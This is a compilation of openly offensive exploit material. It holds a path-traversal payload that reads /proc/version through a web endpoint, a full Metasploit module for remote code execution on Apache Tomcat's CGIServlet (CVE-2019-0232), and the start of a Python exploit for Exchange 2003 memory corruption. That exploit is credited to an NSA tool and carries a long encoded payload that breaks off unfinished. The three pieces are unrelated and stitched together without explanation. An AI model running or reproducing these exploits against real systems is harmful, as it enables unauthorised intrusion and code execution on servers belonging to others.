%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion
# GET Method :
http://localhost/kmrs/exportmanager/ajax/getfiles?f=/../../../../../../../../../../proc/version
===========================================================================================
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the
enableCmdLineArguments setting is set to true, a remote user can abuse this to execute
system commands, and gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yakov Shafranovich', # Original discovery
'sinn3r' # Metasploit module
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Apache Tomcat 9.0 or prior for Windows', { } ]
],
'References' =>
[
['CVE', '2019-0232'],
['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'],
['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/']
],
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'CmdStagerFlavor' => 'vbs',
'DefaultOptions' =>
{
'RPORT' => 8080
},
'Privileged' => false,
'DisclosureDate' => 'Apr 10 2019', # Date of public advisory issued by the vendor
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/'])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')
end
def check
sig = Rex::Text.rand_text_alpha(10)
uri = normalize_uri(target_uri.path)
uri << "?&echo+#{sig}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
unless res
vprint_error('No Response from server')
return CheckCode::Unknown
end
if res.body.include?(sig)
return CheckCode::Vulnerable
end
CheckCode::Safe
end
def execute_command(cmd, opts={})
# Our command stager assumes we have access to environment variables.
# We don't necessarily have that, so we have to modify cscript to a full path.
cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe')
uri = normalize_uri(target_uri.path)
uri << "?&#{CGI.escape(cmd)}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
unless res
fail_with(Failure::Unreachable, 'No response from server')
end
unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end
end
# it seems we don't really have a way to retrieve the filenames from the VBS command stager,
# so we need to rely on the user to cleanup the files.
def on_new_session(cli)
print_warning('Make sure to manually cleanup the exe generated by the exploit')
super
end
def exploit
print_status("Checking if #{rhost} is vulnerable")
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
end
print_warning('Target does not appear to be vulnerable.')
end
print_status("#{rhost} seems vulnerable, what a good day.")
execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000)
end
end
# Python 2.7 (included with ImmunityDBG)
# Exchange 2003 SP0 base64-MIME memory corruption
# NSA's `ENGLISHMANSDENTIST`
# Platform: Windows Server 2003 R2
# Shout out to the Equation Group, NSA Tailored Access Operations
# Author: Charles Truscott @r0ss1n1
# Shout out to Offensive Security, from Australia with Love
import time
import socket
import base64
import struct
#payload ="eJ8+InlpAQaQCAAEAAAAAAABAAEAAgKQBgAOAAAAAAAAAAAAAAAAAAAAAAAAAAIFkAYAevwAAAEA" + "\r\n"
#payload+="AAANAAE3AQAAAGr8AAALAAAAAAAAAMAAAAAAAABG0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAD" + "\r\n"
#payload+="AP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAA/v///wAAAAD+////AAAAAAAAAAD/////" + "\r\n"
#payload+="////////////////////////////////////////////////////////////////////////////" + "\r\n"
def sendpayload(username, password, toaddr, fromaddr):
englishmansdentist="eJ8+InlpAQaQCAAEAAAAAAABAAEAAgKQBgAOAAAAAAAAAAAAAAAAAAAAAAAAAAIF" + "\r\n"
englishmansdentist+="kAYAevwAAAEAAAANAAE3AQAAAGr8AAALAAAAAAAAAMAAAAAAAABG0M8R4KGxGuEA" + "\r\n"
englishmansdentist+="AAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAA" + "\r\n"
englishmansdentist+="EAAA/v///wAAAAD+////AAAAAAAAAAD/////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
englishmansdentist+="///////////////////////////////9/////v///wMAAAAEAAAABQAAAAYAAAAH" + "\r\n"
englishmansdentist+="AAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAAT" + "\r\n"
englishmansdentist+="AAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAf" + "\r\n"
englishmansdentist+="AAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAAr" + "\r\n"
englishmansdentist+="AAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAA3" + "\r\n"
englishmansdentist+="AAAAOAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAD8AAABAAAAAQQAAAEIAAABD" + "\r\n"
englishmansdentist+="AAAARAAAAEUAAABGAAAARwAAAEgAAABJAAAASgAAAEsAAABMAAAATQAAAE4AAABP" + "\r\n"
englishmansdentist+="AAAAUAAAAFEAAABSAAAAUwAAAFQAAABVAAAAVgAAAFcAAABYAAAAWQAAAFoAAABb" + "\r\n"
englishmansdentist+="AAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAAYgAAAGMAAABkAAAAZQAAAGYAAABn" + "\r\n"
englishmansdentist+="AAAAaAAAAGkAAABqAAAAawAAAGwAAABtAAAAbgAAAG8AAABwAAAAcQAAAHIAAABz" + "\r\n"
englishmansdentist+="AAAAdAAAAHUAAAB2AAAAdwAAAHgAAAB5AAAAegAAAHsAAAB8AAAAfQAAAH4AAAD+" + "\r\n"
englishmansdentist+="/////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUA//////////8BAAAAAAIIAwAAAADA" + "\r\n"
englishmansdentist+="AAAAAAAARwAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAAAAAAAAAgBPAGwAZQBQ" + "\r\n"
englishmansdentist+="AHIAZQBzADAAMAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
englishmansdentist+="AAAAAAAAABgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
englishmansdentist+="AAAAAAAAAAAAAAACAAAAWvYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////" + "\r\n"
englishmansdentist+="/////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAA" + "\r\n"
englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///1RDSVAE" + "\r\n"
englishmansdentist+="AAAAAQAAAP////8IAAAAAAAAAAAAAAC5AwAACfEAAAuwAAAAAABkAGQRAQMVAKEA" + "\r\n"
englishmansdentist+="ZAEAUFBOVAARAE3haxHRNliGGAbvzqJx6xZojYiJkVM4iYJ3cScHOycUA2Fdy8BK" + "\r\n"
englishmansdentist+="f+17p+iHAZwsjA2xtPB1qijTh10mC7vH+4tKiK4sgr362avA2iM/hfruFRbWX54m" + "\r\n"
englishmansdentist+="wr6i+7ZNfrgV94VhRcWHfP//AQH9HGBt2fuL3MGPFvLGXelYUZ57u6P6FRHlf2v2" + "\r\n"
englishmansdentist+="frsbbId0AcayOyM0NowIxlaEGX8S9g4HSPf4yUaA7yTIXs4Ycxszi9P3M0uJx/Ok" + "\r\n"
englishmansdentist+="i99mgcr/D0JSagJYzS48BVp077h3MDB0i/qvdeqvdeeL94v7M8lmuQIE86SQKAAA" + "\r\n"
englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWVrEdE2WIYYBu/OonHrFmiNiImRUziJgndxJwc7" + "\r\n"
englishmansdentist+="JxQDYV3LwEp/7Xun6IcBnCyMDbG08HWqKNOHXSYLu8f7i0qIriyCvfrZq8DaIz+F" + "\r\n"
englishmansdentist+="+u4VFtZfnibCWKL7tk1+uBX3hWFFxYd8/ygAAAAAACgAAAAAqMghK1ndw0IWilQV" + "\r\n"
englishmansdentist+="Jaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj9Tu7flQhdvw//ogbt8Ph" + "\r\n"
englishmansdentist+="hb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNFbBhCE2iVWW0EEVhtZMRd" + "\r\n"
englishmansdentist+="bR33Wm1olVltzMzMzIiIzMzMEMzMQMzMzIv486SLP15taJVZbe7M5YVsUrMoMczM" + "\r\n"
englishmansdentist+="zHE7WW38lttxHfdabSgAAAAAm8ghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLIt" + "\r\n"
englishmansdentist+="WEUdUibRVdm0p5b+Dszj9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1" + "\r\n"
englishmansdentist+="fDFS0yR9tWsq3POijgNFbBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzM" + "\r\n"
englishmansdentist+="EMzMQMzMzIv486SLP15taJVZbe7M5YVsUrMoMczMKAAAAACayCErWd3DQhaKVBUl" + "\r\n"
englishmansdentist+="p6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV2bSnlv4OzOP1O7t+VCF2/D/+iBu3w+GF" + "\r\n"
englishmansdentist+="vbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21ayrc86KOA0VsGEITaJVZbQQRWG1kxF1t" + "\r\n"
englishmansdentist+="HfdabWiVWW3MzMzMiIjMzMwQzMxAzMzMi/jzpIs/Xm1olVlt7szlhWxSsygxzCgA" + "\r\n"
englishmansdentist+="AAAAmcghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj" + "\r\n"
englishmansdentist+="9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNF" + "\r\n"
englishmansdentist+="bBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzMEMzMQMzMzIv486SLP15t" + "\r\n"
englishmansdentist+="aJVZbe7M5YVsUrMoMSgAAAAAg8ghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLIt" + "\r\n"
englishmansdentist+="WEUdUibRVdm0p5b+Dszj9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1" + "\r\n"
englishmansdentist+="fDFS0yR9tWsq3POijgNFbBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzM" + "\r\n"
englishmansdentist+="EMzMQMzMKAAAAACCyCErWd3DQhaKVBUlp6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV" + "\r\n"
englishmansdentist+="2bSnlv4OzOP1O7t+VCF2/D/+iBu3w+GFvbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21" + "\r\n"
englishmansdentist+="ayrc86KOA0VsGEITaJVZbQQRWG1kxF1tHfdabWiVWW3MzMzMiIjMzMwQzMxAzCgA" + "\r\n"
englishmansdentist+="AAAAgcghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj" + "\r\n"
englishmansdentist+="9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNF" + "\r\n"
englishmansdentist+="bBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzMEMzMQCgAAAAAf8ghK1nd" + "\r\n"
englishmansdentist+="w0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj9Tu7flQhdvw/" + "\r\n"
englishmansdentist+="/ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNFbBhCE2iVWW0E" + "\r\n"
englishmansdentist+="EVhtZMRdbR33Wm1olVltzMzMzIiIzMzMEMwoAAAAAH7IIStZ3cNCFopUFSWnpqpP" + "\r\n"
englishmansdentist+="ldVNdxAhh56xU5SyLVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECv" + "\r\n"
englishmansdentist+="ldvS7e93LuhTEOmrdXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91pt" + "\r\n"
englishmansdentist+="aJVZbczMzMyIiMzMzBAoAAAAAHzIIStZ3cNCFopUFSWnpqpPldVNdxAhh56xU5Sy" + "\r\n"
englishmansdentist+="LVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECvldvS7e93LuhTEOmr" + "\r\n"
englishmansdentist+="dXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91ptaJVZbczMzMyIiMzM" + "\r\n"
englishmansdentist+="KAAAAAB7yCErWd3DQhaKVBUlp6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV2bSnlv4O" + "\r\n"
englishmansdentist+="zOP1O7t+VCF2/D/+iBu3w+GFvbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21ayrc86KO" + "\r\n"
englishmansdentist+="A0VsGEITaJVZbQQRWG1kxF1tHfdabWiVWW3MzMzMiIjMKAAAAAB6yCErWd3DQhaK" + "\r\n"
englishmansdentist+="VBUlp6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV2bSnlv4OzOP1O7t+VCF2/D/+iBu3" + "\r\n"
englishmansdentist+="w+GFvbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21ayrc86KOA0VsGEITaJVZbQQRWG1k" + "\r\n"
englishmansdentist+="xF1tHfdabWiVWW3MzMzMiIgoAAAAAHfIIStZ3cNCFopUFSWnpqpPldVNdxAhh56x" + "\r\n"
englishmansdentist+="U5SyLVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECvldvS7e93LuhT" + "\r\n"
englishmansdentist+="EOmrdXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91ptaJVZbczMzCgA" + "\r\n"
englishmansdentist+="AAAAdsghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj" + "\r\n"
englishmansdentist+="9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNF" + "\r\n"
englishmansdentist+="bBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMwoAAAAAHXIIStZ3cNCFopUFSWnpqpP" + "\r\n"
englishmansdentist+="ldVNdxAhh56xU5SyLVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECv" + "\r\n"
englishmansdentist+="ldvS7e93LuhTEOmrdXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91pt" + "\r\n"
englishmansdentist+="aJVZbcwoAAAAAHTIIStZ3cNCFopUFSWnpqpPldVNdxAhh56xU5SyLVhFHVIm0VXZ" + "\r\n"
englishmansdentist+="tKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECvldvS7e93LuhTEOmrdXwxUtMkfbVr" + "\r\n"
englishmansdentist+="Ktzzoo4DRWwYQhNolVltBBFYbWTEXW0d91ptaJVZbQMVAKEAZAEAUFBOVAARAE1k" + "\r\n"
englishmansdentist+="KqgO4dairXoaKqtGJOfathwbviEk01g+FrqVQC8wckkoPtUjqTs5VsOSBi5nf+ny" + "\r\n"
englishmansdentist+="U03T963UBZmOwuPU0X/ou2wjVlCEYiLotdHK855vUgww0zceuQ+31XNXIuI+y11D" + "\r\n"
englishmansdentist+="X16wOigAAAAAAAMVAKEAZAEAUFBOVAARAE1IKwzWOSCWPCV85rZc6Tt/Bic0kdxJ" + "\r\n"
englishmansdentist+="KnwYsZGmkwwH9QGKriYW25N5idOoJP1oGCxx7oUVYD7sEmKczAM0Li8WBLlOSg9t" + "\r\n"
englishmansdentist+="gZU5KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVqd0dY" + "\r\n"
englishmansdentist+="NHdIUlBRUEtqN0tqMFVqNTRuNEdQYTRLMEQ5VmtEOVptMEQxMkFLdUdadDdyU1Nt" + "\r\n"
englishmansdentist+="WkVSQWhsVEZTTkd6WlhNYm1rdE5XMm5WT2dHNlE3cHpRY1UydGNmTjRWeHl4ZTlH" + "\r\n"
englishmansdentist+="ASgAAAAAAAMVAKEAZAEAUFBOVAARAE1IZDlNYldXaVI5aW14dzRER3Y0RHo4Qkdm" + "\r\n"
englishmansdentist+="OGx2S0V5V2IyM3RlWWl6Y2FxcnRTa3lRdWxnWDlVTklaNi0Bieaa+DBUb8RDOxea" + "\r\n"
englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWX08PcTTZVE" + "\r\n"
englishmansdentist+="HSSId3ObQFK/tjZvYMdReXdBagkt+dxSfjqlhKTKqRHgqRl6gX9BTJ0Fbtx7YMzx" + "\r\n"
englishmansdentist+="SvFhVjWO8fQu/dQHZTXQ5Gs/QDCItQ7bDjyXSc/20gOUU6J0SHtdYS5Rl6fGAigA" + "\r\n"
englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1IKv3Pv37T+WFIEzFxkT91ZcjmSZ/rcK/Rp7Sd" + "\r\n"
englishmansdentist+="FqRpV7oGhoKzj99kEWpo1QOKh3l0F4MFDqXB9JA7LKn/vno+unGQYfs9Yh68KAAA" + "\r\n"
englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXvxNPS8bMoUHCm" + "\r\n"
englishmansdentist+="iOabpiU9hmjMwPfroImROTVCISH+saIKAz7tuTlBZfS70u6kwyrRgEPFcgQowC3G" + "\r\n"
englishmansdentist+="U4R5BZtlC3GNnVd7oSsBXduahKeGxxD+1CeLZ9s6tYLtzF6DSWouUd7XAygAAAAA" + "\r\n"
englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IUN43jC+5pEXQVQd2wjzQCA1kyvQeSN6TKp+xa88H" + "\r\n"
englishmansdentist+="4iddD6RlhEZSqUQ+b5rADWh1tDfkj6Zf60u0S+HdlG4+h9YFEDRseBeNKAAAAAAA" + "\r\n"
englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUtOL+19Bm0AhxTLWJl" + "\r\n"
englishmansdentist+="rvJTvdJ+V4WXtfMkz012B9er1q79L9ph4Z7XKVxpkH55WT4/P+Of63sSLZl7x2RI" + "\r\n"
englishmansdentist+="7B3STslE8miIqSQcBJZhy8SLVFF7wy1Dtg5nBgTFn8t0pRNpwxwtBCgAAAAAAAMV" + "\r\n"
englishmansdentist+="AKEAZAEAUFBOVAARAE1IQXixS0511LdVUgbSFCtsFoFtjmaImzF/v1jGfVzUiaMO" + "\r\n"
englishmansdentist+="yN3JUJuRVdBnMcyTV9mPMfUT1GDfOc4FAVuruVnOQb/zqaIk7ijMKAAAAAAALGQA" + "\r\n"
englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWJQ9KFfPCYCmdPghx66OK8" + "\r\n"
englishmansdentist+="KOUMMCnvUfFsZh5eLe0Xs3eo+vc88WtseHEH3vFujK+lawXu1RDAZwXOCSljir4n" + "\r\n"
englishmansdentist+="o+BwjLpVp0q0VFgZqmvBW4PCkPHZ5Jo78eqAKs2xya6GxKQkBSgAAAAAAAMVAKEA" + "\r\n"
englishmansdentist+="ZAEAUFBOVAARAE1IrafNDc+IursBMTPC9fZt9me1wy4aDgZKJvY4fOxZz+wnJjJi" + "\r\n"
englishmansdentist+="EAEkf3dHgzG8Fy2t3ICIXIHWcEFPOE2X1IxeVgrYFQuqOzQvKAAAAAAALGQAlgAG" + "\r\n"
englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWCT/hpjX1FeGERZnCAK/8l952g" + "\r\n"
englishmansdentist+="aT0FaV4KS0LJtuOxDrTeF6VR/RUBVjTa2p9ZYXDhrweEBMvwdKcC4g4wibgQh7kI" + "\r\n"
englishmansdentist+="eIgLAemIT+Ka+LXJmy0sOvyZWPox3ornu/qVxST4BrPdBigAAAAAAAMVAKEAZAEA" + "\r\n"
englishmansdentist+="UFBOVAARAE1IuTOl7XnSU3l37v6UfHjYLyHDpYtBDiIM0CItXoFoacOXe+tWIrPI" + "\r\n"
englishmansdentist+="bBT16iVOiAe3qBCh/kkT8PiAGZP5SPvY16JSXzwGuZCOKAAAAAAALGQAlgAGc3lz" + "\r\n"
englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVtTavxi9CfDhvAK8cDT63ro6ZFESTC" + "\r\n"
englishmansdentist+="fxWSvwRNZCc0tR5u+v2sb9CDR7iKErp1gggHIIRwBI+i3NsRL8OAAthY3jLmqglp" + "\r\n"
englishmansdentist+="jd7U6iiXjDiZdAgWfey0I+T4kUrnDBHG+mCoFOE5BygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
englishmansdentist+="VAARAE1Ib+P6qIgJYFukttXeQEiA/GC0HmL9VX83OmGs61lJ+hty3vfCtzDxfCgW" + "\r\n"
englishmansdentist+="gPh7L4CzuoRkvUf8BgGRRjZtCHOJFVLaRHpVurxRKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWUlG51pUdEmvZGWV0NdHeCfrT0q3pzM4mli" + "\r\n"
englishmansdentist+="LswbKb0hp0JDu2KP0I3Es0JDK2mjIVPPx61ckOcbERWdkVmoUQ0GkUeb49+Sipmo" + "\r\n"
englishmansdentist+="PCWFXVftRayThgb0kB8fkUrnDBHG+mCoFOE5CCgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
englishmansdentist+="AE1Io/QM3TUHpmdAxzLXJWbh+40NGm0j+uvw73jhgvokhI8WmEamhKs9O2lMOIN+" + "\r\n"
englishmansdentist+="V9dpP1r6VPGVQ72XPPaXWEolNXLoG9AztSp+KAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWXg5ehsbZLEcpdTHcFOML2iOTL7OvzAPRU3vzSb" + "\r\n"
englishmansdentist+="wNqLFknyaWbB72UonhNgWYn+9yeLf8kfDmt7Z/uEogxb2WombF1FBfBNV+aFRgqF" + "\r\n"
englishmansdentist+="qUpoEmvOoMJSJ3WpjSPh8dZ0tyI4jW+tCSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
englishmansdentist+="F5MnTqkdyXlQV3d72FMpajveqKHUDtfjrnhJwMV/SYf4rkdKjUu4MtB4bbwHwXUh" + "\r\n"
englishmansdentist+="44t7XuxCzkEGvN/+V6+WgQmXEQvYFVJsKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
englishmansdentist+="AxUAoQBkAQBQUE5UABEATWUjCIB9R2L8vQ0kPDATRXYvqR8lKlMjg1lVT8UJX0KA" + "\r\n"
englishmansdentist+="ueJkyqQT/KPcIawiu6og650LgqfNTWikiaLbkQoeJI5pXfhUZxblr+IvMkfhR2yz" + "\r\n"
englishmansdentist+="RUXU4cH4mPZfUU2FFDWQOJZ8OQVFCigAAAAAAAMVAKEAZAEAUFBOVAARAE1IF/HT" + "\r\n"
englishmansdentist+="/fLDttScQrahHw4vJzxO4upyuJt58OabJNqasfwLiykhzIBcBohHSvoDKNxkG7Ey" + "\r\n"
englishmansdentist+="BblAs9bAFTy+t54ZnROXLwnJig03KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
englishmansdentist+="oQBkAQBQUE5UABEATWUVpiZiAikXLMhyG0yFCJsMQ4UO1PjQ3HltiNA7lA6Ham0W" + "\r\n"
englishmansdentist+="b6jYH/ZzncI5LNpCBEE5M2OlML+ILYtZXQSOPnPv59Gycu0he3scZJPTZiWF6ome" + "\r\n"
englishmansdentist+="/TSUCpKaAYyOebRVXV4Hnt8lCygAAAAAAAMVAKEAZAEAUFBOVAARAE1IS0mRyuad" + "\r\n"
englishmansdentist+="lD2A8KXBTNAGRQZLVfCIL4h2sJW7j2zIVO2hvAM10zsUKCTrysi6VQhyCi8XognO" + "\r\n"
englishmansdentist+="zqHSTuus6iLQxFCri8zZk04eKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
englishmansdentist+="AQBQUE5UABEATWX2ZUhJNUr7FNJnAWmMh1ZnGs02I3ULhGlaTMryGYbnb0myWNJI" + "\r\n"
englishmansdentist+="TUFMN6omS0n7dfkkc8SoLmL9YGfWR1PYee01DTgdQ6WHnga0vYaTnFfuWzmgsDlX" + "\r\n"
englishmansdentist+="mDz4z5Nz2I5b1lHfWKC3DCgAAAAAAAMVAKEAZAEAUFBOVAARAE1IKqlE83ZpA9UI" + "\r\n"
englishmansdentist+="Te1MTcD3HmSinU2Nzqa9zZ9+aQ2G1J7T6MSTSX1q7ToS/lr6SIDg5vrwOEPhHoJa" + "\r\n"
englishmansdentist+="SCnxeTaTpc8JJySk0m4CKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
englishmansdentist+="UE5UABEATWULbh7ZgLAXW6CjaGE9JQbsGdiFI8Lon8lxUcqyqU2seG6nrOnKf3Kp" + "\r\n"
englishmansdentist+="eC+eOG79aw8eYqb7IiejTDORgxEe0qgKkJVxbmg+MTJ8qpbxc91IQKF4DEV9ezC0" + "\r\n"
englishmansdentist+="tSKG13RYzq68jKASDSgAAAAAAAMVAKEAZAEAUFBOVAARAE1IlIDYoOC3u5KQN3sd" + "\r\n"
englishmansdentist+="AzyZkWKBvNXF5HRuwdRyr2V1z00x4tfrCHnf2q2IzpHIUZs6Btexy1RAUPzFSc6T" + "\r\n"
englishmansdentist+="KLICWcQHhFN1mkNdKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
englishmansdentist+="ABEATWVhVO/KqObGW0kkVPV7JYx46MAKMMc+nj2FmBtb2FGAbOYseEJ2szzirRnZ" + "\r\n"
englishmansdentist+="AYAMAZY7TDCgNI56w0pLwtEJWKgtJKHltjX2fIBiaVjYy/Tq33EENEt/pMqFlNmK" + "\r\n"
englishmansdentist+="zQT0LoGfVKYvDigAAAAAAAMVAKEAZAEAUFBOVAARAE1IDXR1qz7X1bzuaPCc7Arw" + "\r\n"
englishmansdentist+="2OcOM9mPCmir7/PpGo7mA/1OfX6luio7Lql3Jd+4hy4+z9q66wukORMdqCJuzAo4" + "\r\n"
englishmansdentist+="uXHkUXgDMVnyKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
englishmansdentist+="TWXXt/mEfquSt8Wm0aOAfcHrAe59vN9xZEMYDRbz38LpIodNUS6YtLbIfZFVtxNv" + "\r\n"
englishmansdentist+="tHM5LBIM8dqQvgnYVq7IvJIT6d1yRQjfFT3TSoOki12jJY1NXCnWC6ueNbYMDtsM" + "\r\n"
englishmansdentist+="12Vdmw38DygAAAAAAAMVAKEAZAEAUFBOVAARAE1IcXkUKMz9B65cNA/D7cM8qwvP" + "\r\n"
englishmansdentist+="jZ22oJA33pkyB148NFMlzvnllWvr45zlXGJsj/rzrvz2tcwSqR4/YPQmnANsCRw8" + "\r\n"
englishmansdentist+="ARyF0LIYKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUR" + "\r\n"
